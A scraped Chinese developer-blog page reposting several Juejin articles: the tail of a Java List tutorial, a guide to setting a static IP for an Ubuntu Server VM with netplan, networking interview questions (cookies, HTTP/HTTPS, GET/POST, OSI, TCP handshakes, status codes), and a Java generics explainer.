// 返回指定数组内容的字符串表示形式。
System.out.println(Arrays.toString(objects));
}
}

image.png
8.toArray(T[ ] a)

以适当的顺序返回包含此列表中所有元素的数组(从第一个元素到最后一个元素); 返回数组的运行时类型是指定数组的运行时类型。 这个泛型在确定的时候必须是list中元素类型的父类或本身.

1
2
3
4
5
6
7
8
9
10
11
12
13
csharp复制代码public class myList {
public static void main(String[] args) {
List<String> list = new ArrayList<String>();
list.add("张三");
list.add("李四");
list.add("王五");
list.add(0,"小白");
list.add(3,"小红");
list.set(3,"小黑");
String[] strings = list.toArray(new String[6]);
System.out.println(Arrays.toString(strings));
}
}

image.png
希望此文对你有帮助~

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

用虚拟机模拟远程服务器-固定 IP 地址

发表于 2021-11-25

在上一篇文章中我们通过 VMware Player 和 Ubuntu Server 完成了服务器的安装,但距离远程服务器搭建完成还有一段路程要走。在这篇文章中我们将开始进行服务器的网络配置,为服务器通过网络给用户提供服务打下基础!

网络结构

在开始配置网络前,我们先分析一下 VMware Player 提供的默认 NAT 网络的结构

NAT.png

  • 虚拟机:我们创建的服务器
  • DHCP 服务器:为虚拟网络内的计算机动态提供 IP 地址等连接网络所需信息
  • NAT 设备:当位于虚拟网络内部的虚拟机需要访问外部网络时,会将请求发送给 NAT 设备;NAT 设备收到请求后,会将请求中虚拟机的 IP 地址转换为宿主机的 IP 地址;由于宿主机的 IP 地址于外部网络可见,从而实现虚拟网络内部虚拟机对外部网络的访问

从默认 NAT 网络的结构可以知道,我们的服务器在虚拟网络中的通信是基于 DHCP 服务器分配的动态 IP,访问外部网络则是将请求发送给 NAT 设备。

但服务器提供服务的前提是用户能在一个固定的地方找到服务器,显然动态变化的 IP 地址是不能满足要求的。所以我们需要将服务器在虚拟网络中的 IP 地址固定,实现客户对服务器的稳定访问。

固定 IP 地址

Ubuntu Server 的网络配置文件位于 /etc/netplan 下,以 .yaml 为后缀,常用网络配置模板可以在 netplan 找到

1
2
3
4
5
6
7
8
9
10
11
12
YAML复制代码network:
version: 2
renderer: networkd
ethernets:
<网卡名称>:
addresses:
- <静态 IP>
nameservers:
addresses: [<DNS 服务器 IP>]
routes:
- to: 0.0.0.0/0
via: <路由器 IP>

但有些麻烦的是,VMware Player 没有开放对虚拟网络进行自定义的功能(该功能在付费的 VMware Workstation Pro 上开放),所以我们需要查询默认 NAT 虚拟网络中使用的相关网络信息,并依据这些信息填充配置文件。

  1. 查询服务器网卡名称和当前 IP 地址:ip address

IP.png

* 网卡名称:`ens32`
* 服务器 IP 地址:`192.168.70.128/24`(因为虚拟网络的规模很小,我们只配置 IPv4)
  1. 查询 NAT 设备信息:ip router

route.png

* NAT 设备 IP 地址:`192.168.70.2`
  1. 填写网卡配置文件:sudo vim /etc/netplan/*.yaml(这里我使用的是 vim,大家也可以使用 nano 等其它编辑器)
1
2
3
4
5
6
7
8
9
10
11
12
13
YAML复制代码network:
version: 2
renderer: networkd
ethernets:
ens32:
addresses:
- 192.168.70.128/24
nameservers:
# 阿里公共 DNS
addresses: [223.5.5.5, 223.6.6.6]
routes:
- to: 0.0.0.0/0
via: 192.168.70.2

修改配置.png
注意该配置文件对缩进的要求非常高,大家在填写的时候一定要仔细
4. 测试网络配置文件中是否存在错误: sudo netplan try(若不存在错误则会提示是否应用配置文件)

尝试配置.png
5. 查看配置是否生效(因为大部分网络信息都是保持原状,我们通过查看 DNS 信息来判断):systemd-resolve --status

DNS.png
6. 为了保险起见,我将服务器重启后再测试网络情况

* IP 地址:


![重启IP.png](https://gitee.com/songjianzaina/juejin_p7/raw/master/img/85b214394238ce94688ad8d8b4b0f5e0f69a24091367bb23aa74ab21a8c1e7d2)
* DNS 服务器:


![重启DNS.png](https://gitee.com/songjianzaina/juejin_p7/raw/master/img/cbbb9817cebbeae06c2c09bc097c3f6ef19963ccc50a9d4dd8d85b25710dba0b)
* 访问外部网络:


![外部网络.png](https://gitee.com/songjianzaina/juejin_p7/raw/master/img/413373170fb39f5cdd393b1918bf6bcf85f4193797c9d911e6aaa309c339fcbe)
* 主机访问:


![宿主机访问.png](https://gitee.com/songjianzaina/juejin_p7/raw/master/img/e072bd76fccafb9fa35ba0d9253821b526d01ac21d466aee76493fb49721f24a)

总结

在本篇文章中,我们从分析网络结构开始,一步步地成功将服务器在虚拟网络中的 IP 地址固定!现在位于虚拟网络中的任何用户都可以通过 192.168.70.128 这个 IP 地址对我们的服务器进行访问。但在服务器为用户提供服务之前,我们先得配置好我们开发者需要的服务。

在下一篇文章中,我们将通过 SSH 实现本地机器对服务器的远程登录访问,就像实际开发中访问服务器一样!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

全网最全,高频网络基础面试题目,你get到了吗? Cooki

发表于 2021-11-25

Cookie和Session的区别?‍‍‍

Cookie 是访问某些网站以后在本地存储的一些网站相关的信息,下次再访问的时候减少一些步骤。另外一个更准确的说法是:Cookie 是服务器在本地机器上存储的小段文本并随每一个请求发送至同一个服务器,是一种在客户端保持状态的方案。由于 HTTP 协议是无状态的协议,所以服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这个机制就是 Session。

Cookie和Session是解决http协议的无状态性,区别如下:

​

1.存储位置不同

Cookie是将用户数据通过加密的方式保存在客户端,大多数情况Cookie存储在浏览器;Session是用于控制客户端和服务端的连接,Session存储在服务器;

2.存储容量不同

单个Cookie保存的数据不得超过4kb,一个站点最多20个Cookie,Session一般情况下没有上限,不过建议不要存放太多东西,否则影响性能;

3.存取方式不同

Cookie只能用ASCII字符串,通过编码方式获取Unicode字符或者二进制数据,不好存储复杂的信息,而Session能存储任何类型的数据;

4.隐私策略/安全性不同

Cookie放在客户端,可以进行Cookie欺骗,所以不安全,Session放在服务端,更加安全;

5.有效期不同

Cookie可以设置属性达到长期有效,Session依赖于JSESSIONID的Cookie,Cookie JSESSIONID的过期时间默认为-1,只需要关闭窗口Session就会失效,就算不依赖Cookie,用UrL重写也不能完成,如果Session超时时间过长,容易导致内存溢出;

6.服务器压力不同

Cookie保存在本地,不存在服务端压力,Session保存在服务端,每个用户产生一个Session,当访问增多,会比较占用服务器的性能,如果主要考虑到减轻服务器性能方面,应当使用Cookie;

7.浏览器支持不同

如果浏览器禁用Cookie,那么Cookie直接失效,Session比较好点,可以用URL重写;

8.cookie和session应用的场景

cookie:用户的登录状态,记录用户的习惯,如购物车;

session:登录验证;

HTTP与HTTPS的区别‍?‍

HTTP协议传输的数据是未加密的,也就是明文,所以用HTTP协议传输隐私信息是非常不安全的。为了保证这些私有数据能够被加密传输,网景设计了SSL(SecureSocketsLayer)协议对HTTP协议传输的数据进行加密,由此诞生了HTTPS。简单来说,httpS协议是由SSL+HTTP协议构建的网络协议,可以用于加密传输和认证,比HTTP协议更安全。

HTTP和HTTPS都是应用层协议,本质上没有区别。他们的区别是,HTTPS是安全版的HTTP,HTTP信息是明文传输的,HTTPS是安全的SSL加密传输,比HTTP协议更安全。它们使用不同的端口。默认情况下,HTTP使用端口80,而HTTPS使用端口443。

HTTPS和HTTP的主要区别如下:一般来说:HTTPS=SSL+HTTP。

Https协议需要向ca申请证书,一般免费的证书很少,所以需要一定的费用。

Http是一种超文本传输协议,信息以明文形式传输,https是一种安全的ssl加密传输协议。

Http和https使用完全不同的连接方法和不同的端口。前者是80,而后者是443(这只是一个不同的默认端口,实际上可以更改)。

http连接非常简单且无状态;HttpS协议是由SSL+HTTP协议构建的网络协议,可用于加密传输和认证。它比HTTP协议更安全。

\

get请求与post请求的区别?‍

1.提交数据的形式

  • GET方法一般指从服务器获取数据,请求参数(查询字符串)后面直接跟URL,后面跟?分区URL和传输数据,参数之间用&(?1 = value1 & key2 = value2),可以直接放入浏览器的地址栏。例如,登录是使用GET方法。

示例:log in . action name = itester & password = idonknow & verify = % E4 % BD % A0 % E5 % a5 % BD。如果数据是英文字母/数字,则按原样发送,如果是空格,则转换为+,如果是中文/其他字符,则直接用BASE64加密字符串,结果如下:%E4 %BD%A0%E5%A5%BD,其中%XX中的XX是十六进制符号表示的ASCII。

POST意味着客户端将表单数据提交给服务器,数据将放在请求数据字段中,用&分隔字段。请求行不包含数据参数,地址栏也没有其他参数。因此,POST是通过表单提交的,请求参数放在正文中。比如网页上新用户的注册、问卷、回答都采用POST的方式。

\

2.提交数据的大小/长度

  • Get是直接在浏览器地址栏中输入的,直接影响到URL的长度。但是,在HTTP协议规范中对URL的长度没有限制。对URL长度的限制受客户端或服务器不同支持的影响:比如IE对URL长度的限制是2083字节(2K+35)。对于其他浏览器,如网景、火狐等。,理论上没有长度限制,而且这个限制取决于操作系统的支持。由于浏览器的限制,整个URL的长度可以很长,但不能超过2049KB的大小限制,发文也没有大小限制。\
  • post模式在HTTP协议规范中不受限制,但起限制作用的是服务器处理器的处理能力。因此,大小限制仍然受到每个web服务器的不同配置的影响。

3.提交数据的安全性

  • 由于get的参数直接拼接在浏览器地址栏的URL中,用户名和密码会以明文形式出现在URL上,暴露在互联网上,安全性差,无法用于传输敏感信息。
  • post请求参数放在正文中,通过表单数据提交。post比get更安全。
  • get方法的安全性较弱,原因如下:
  • 登录页面可能被浏览器缓存;
  • 其他人查看浏览器历史,然后其他人可以获得账号和密码;
  • 遇到跨站点攻击时,安全性能更差;\

4.编码方式

  • get的参数只能支持ASCII;
  • post没有限制,也允许二进制数据;\

5.请求方式

  • get是获取指定的资源;
  • post是向指定的资源提交要被处理的数据;

6.请求体

  • get没有请求体;
  • post有请求体;

7.效率方面

  • get产生一个tcp数据包;
  • post产生两个tcp数据包,post需要两步,时间上消耗要多一点,get比post更有效;

8.请求过程

  • 对于get方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据),get请求的过程:

1)浏览器请求tcp连接(第一次握手);

2)服务器答应进行tcp连接(第二次握手);

3)浏览器确认,并发送get请求头和数据(第三次握手,这个报文比较小,所以 http会在此时进行第一次数据发送);

4)服务器返回200OK响应;

  • 而对于post,浏览器先发送header,服务器响应100continue,浏览器再发送data,服务器响应200ok(返回数据),post请求的过程:

1)浏览器请求tcp连接(第一次握手);

2)服务器答应进行tcp连接(第二次握手);

3)浏览器确认,并发送post请求头(第三次握手,这个报文比较小,所以 http 会 在此时进行第一次数据发送);

4)服务器返回100 Continue响应;

5)浏览器发送数据;

6)服务器返回200 OK响应;

OSI七层模型的作用分别是?‍

1.应用层

OSI参考模型中最接近用户的层为计算机用户提供应用接口,也直接为用户提供各种网络服务。我们常用的应用层网络服务协议包括HTTP、HTTPS、FTP、POP3、SMTP等。

2.表示层

为应用层数据提供各种编码和转换功能,保证一个系统的应用层发送的数据能够被另一个系统的应用层识别。如果需要,该层可以提供一种标准表示,用于将计算机内部的各种数据格式转换为通信中使用的标准表示;

3.会话层

负责建立、管理和终止表示层实体之间的通信会话。这一层的通信由不同设备中应用程序之间的服务请求和响应组成;

4.传输层

主机之间建立了端到端的链路,传输层的作用是为上层协议提供端到端的可靠透明的数据传输服务,包括差错控制和流量控制。这一层将下层数据通信的细节与上层屏蔽开来,使得上层用户只能看到两个传输实体之间从主机到主机的可靠数据路径,可以由用户进行控制和设置。我们通常说TCP/ UDP就在这一层。这里的端口号是“end”;

5.网络层

通过IP寻址来建立两个节点之间的连接,为源端的运输层送来的分组,选择合适的路由和交换节点,正确无误地按照地址传送给目的端的运输层;

6.数据链路层

将比特组合成字节,然后将字节组合成帧,使用链路层地址(以太网使用MAC地址)访问介质,并进行错误检测。数据链路层分为两个子层:逻辑链路控制子层和媒体访问控制子层。媒体访问控制子层处理CSMA/光盘算法、数据错误检查、成帧等。LLC子层定义了一些字段,使最后一个协议能够共享数据链路层。实际上,LLC子层不是必需的;

\

7.物理层

实际信号的传输通过物理层实现,比特流通过物理介质传输。规定了液位、速度和电缆引脚。常用的设备包括(各种物理设备)集线器、中继器、调制解调器、网线、双绞线和同轴电缆,这些都是物理层的传输介质。

编辑 搜图\

请简述TCP三次握手和四次挥手?‍

1.三次握手

三次握手指的是创建连接的过程:首先,客户端向服务器发送请求,询问是否可以发送数据;服务器收到请求后,如果同意,会回复确认消息;收到确认消息后,客户端开始发送数据。

第一次握手:建立连接时,客户端向服务器发送请求消息(SYN),“我要建立连接”;

第二次握手:收到请求消息后,如果服务器同意连接,则向客户端发送确认消息(SYN/ACK),“同意建立”;

三次握手:客户端收到服务器的确认后,再次向服务器发送确认消息,完成连接(ACK);

2.挥手四次

四次波指的是断开的过程:客户端向服务器发送请求,询问是否有可能断开;服务器将响应其当前状态;如果服务器准备好了,它将向客户端发送断开请求。如果还没有准备好,还有数据没有响应,它会等待响应完成后再向客户端发送请求;最后,服务器和客户端断开连接。

第一波:客户端想分手,给服务器发消息(FIN);

第二波:服务器通知客户端已经接受该波请求,并返回确认消息(ACK),但还没有准备好分手;

第三波:服务器准备分手通知客户端(FIN);

第四波:客户端向服务器发送消息(ACK)确认分手,服务器关闭连接。

浏览器输入URL到将页面渲染出来发生了什么?‍

1.首先在浏览器地址栏输入网址,先分析网址,检查网址是否合法;

2.浏览器首先检查浏览器缓存-系统缓存-路由器缓存,如果缓存中有,页面内容会直接显示在屏幕上。如果没有,请跳到步骤3。

浏览器缓存:浏览器会记录一段时间的DNS,所以只是第一个解析DNS请求的地方;操作系统缓存:如果这个记录没有包含在浏览器缓存中,系统会调用操作系统获取操作系统的记录(保存最新的DNS查询缓存);

路由器缓存:如果上述两个步骤都无法成功获取DNS记录,则继续搜索路由器缓存;

ISP缓存:如果以上都失败,继续搜索ISP。

3.在发送http请求之前,需要进行域名解析(DNS解析)来获取对应的IP地址。

4.浏览器发起与服务器的TCP连接,并与浏览器建立TCP三次握手。

5.握手成功后,浏览器向服务器发送一个HTTP请求,请求数据包。

6.服务器处理收到的请求,并将数据返回给浏览器。

7.浏览器接收到HTTP响应。

8.浏览器对响应进行解码,如果响应可以被缓存,则存储在缓存中。

9.浏览器发送请求以获取嵌入在HTML中的资源(HTML、CSS、JavaScript、图片、音乐…),对于未知类型会弹出一个对话框。

10.浏览器发送异步请求。

11.最后,渲染所有页面。

编辑 搜图

常用HTTP状态码‍

关于常见的HTTP状态码,这是一个面试经常问的题目。

状态码 类别
1XX 信息性状态码
2XX 成功状态码
3XX 重定向状态码
4XX 客户端错误状态码
5XX 服务端错误状态码

常见的HTTP状态码:

1.1XX

  • 100 Continue:表示正常,客户端可以继续发送请求
  • 101 Switching Protocols:切换协议,服务器根据客户端的请求切换协议。

2.2XX

  • 200 OK:请求成功
  • 201 Created:已创建,表示成功请求并创建了新的资源
  • 202 Accepted:已接受,已接受请求,但未处理完成。
  • 204 No Content:无内容,服务器成功处理,但未返回内容。
  • 205 Reset Content:重置内容,服务器处理成功,客户端应重置文档视图。
  • 206 Partial Content:表示客户端进行了范围请求,响应报文应包含Content-Range指定范围的实体内容

3.3XX

  • 301 Moved Permanently:永久性重定向
  • 302 Found:临时重定向
  • 303 See Other:和301功能类似,但要求客户端采用get方法获取资源
  • 304 Not Modified:所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。
  • 305 Use Proxy:所请求的资源必须通过代理访问
  • 307 Temporary Redirect:临时重定向,与302类似,要求使用get请求重定向。

4.4XX

  • 400 Bad Request:客户端请求的语法错误,服务器无法理解。
  • 401 Unauthorized:表示发送的请求需要有认证信息。
  • 403 Forbidden:服务器理解用户的请求,但是拒绝执行该请求
  • 404 Not Found:服务器无法根据客户端的请求找到资源。
  • 405 Method Not Allowed:客户端请求中的方法被禁止
  • 406 Not Acceptable:服务器无法根据客户端请求的内容特性完成请求。
  • 408 Request Time-out:服务器等待客户端发送的请求时间过长,超时。

5.5XX

  • 500 Internal Server Error:服务器内部错误,无法完成请求
  • 501 Not Implemented:服务器不支持请求的功能,无法完成请求

如果已经建立了连接,但是客户端突然出现故障了怎么办?‍

如果TCP连接已经建立,并且客户端在通信过程中突然出现故障,那么服务器不会永远等待,过一会儿再关闭连接。具体原理是TCP有一个保活机制,主要用于服务器端检测已经建立TCP链路的客户端的状态,防止服务器端因为Linux系统中可以创建的TCP链路总数有限而一直维护TCP链路。

保活机制原理:设置TCP保活机制的保活时间,即在TCP链路超过这个时间时发送保活检测消息,不进行任何数据交互;将保活检测消息的发送时间间隔设置为保活间隔;;设置保持活动探测消息的总发送时间,保持计数。如果保持计数时间的保持活动探测消息没有收到客户端的响应,服务器将关闭与客户端的TCP链接。

TCP 和 UDP 区别及应用场景?‍

1.TCP和UDP区别

面向连接 vs 无连接

可靠性:TCP 可靠,丢包重传;UDP 不可靠。

有序性:TCP 利用序列号保证了数据的有序性(数据到达会排序)

速度:TCP 创建连接,速率较慢;UDP 较快

TCP 流模式,UDP 报文模式

2.TCP和UDP应用场景

TCP:

当对网络通讯质量有要求的时候,比如:整个数据要准确无误的传递给对方,这往往用于一些要求可靠的应用,比如 HTTP、HTTPS、FTP 等传输文件的协议,POP、SMTP 等邮件传输的协议。在日常生活中,常见使用 TCP 协议的应用如下:

  • 万维网(HTTP);
  • 邮件(POP、SMTP);
  • 文件传输(FTP);

UDP:

当对网络通讯质量要求不高的时候,要求网络通讯速度能尽量的快,这时就可以使用 UDP。日常生活中常见使用 UDP 协议的应用如:语音,视频。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

【Java基础】了解泛型 什么是泛型? 代码中的泛型 泛型的

发表于 2021-11-25

「这是我参与11月更文挑战的第6天,活动详情查看:2021最后一次更文挑战」

什么是泛型?

Java泛型( generics) 是JDK 5中引⼊的⼀个新特性;

在定义类、接口、方法的时候使用类型参数,在使用的时候替换成具体的类型;

泛型广泛应用在集合类框架中;

好处:

可以在编译前进行参数类型检测;

可以提高代码的复用性,以 List接口举例

需要有存放 String和 Integer的 List,如不⽤泛型, 存放String类型要写⼀个List接口, 存放Integer要写另外⼀个List接口, 泛型可以很好的解决这个问题。

代码中的泛型

泛型类

1
2
scala复制代码public class ArrayList<E> extends AbstractList<E>
implements List<E>, RandomAccess, Cloneable, java.io.Serializable

泛型接口

1
csharp复制代码public interface List<E> extends Collection<E>

泛型方法

1
2
3
4
5
scss复制代码public E get(int index) {
rangeCheck(index);

return elementData(index);
}

泛型的参数类型和含义

泛型的参数类型 含义
E-Element 应用在集合中,作为元素的类型占位符
T - Type Java类参数的类型占位符
K - Key & V - Value M ap键值类型占位符
? 表示不确定的java类型(无限制通配符类型)
Object 参数类型是所有类的根类
<? extends T> 限定通配符,类型必须为T类型或者T子类
<? super T> 限定通配符,类型必须为T类型或者T的父类

泛型擦除

Java编译器会将多种泛型类形实例映射到唯一的字节码表示,即类型擦除(type erasue)。

实例

List 和 List 等类型在编译之后都会变成 List(泛型擦除)。JVM拿到的类实例对象是同一个 List对象。

1
2
3
ini复制代码List<String> list1 = new ArrayList<>();
List<Integer> list2 = new ArrayList<>();
System.out.println(list1.getClass() == list2.getClass());// true

可以通过反射绕过编译前的泛型类型检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
vbnet复制代码List<Integer> list = new ArrayList<>();
list.add(123);
try {
// 由于List中的泛型参数没有设置上界,所以add方法可以add任何Object的子类型参数
Method method = list.getClass().getDeclaredMethod("add", Object.class);
method.invoke(list, "string");
method.invoke(list, true);
method.invoke(list, 12.3);
list.forEach(e -> System.out.println("e = " + e));
} catch (Exception e) {
e.printStackTrace();
}
--------------------------------------------------------
true
e = 123
java.lang.ClassCastException: java.lang.String cannot be cast to java.lang.Integer
at java.util.ArrayList.forEach(ArrayList.java:1257)
at reflection.Main.main(Main.java:29)

当泛型遇到重载

编译报错,因为泛型擦除后,两个方法的参数签名一样。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…193194195…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%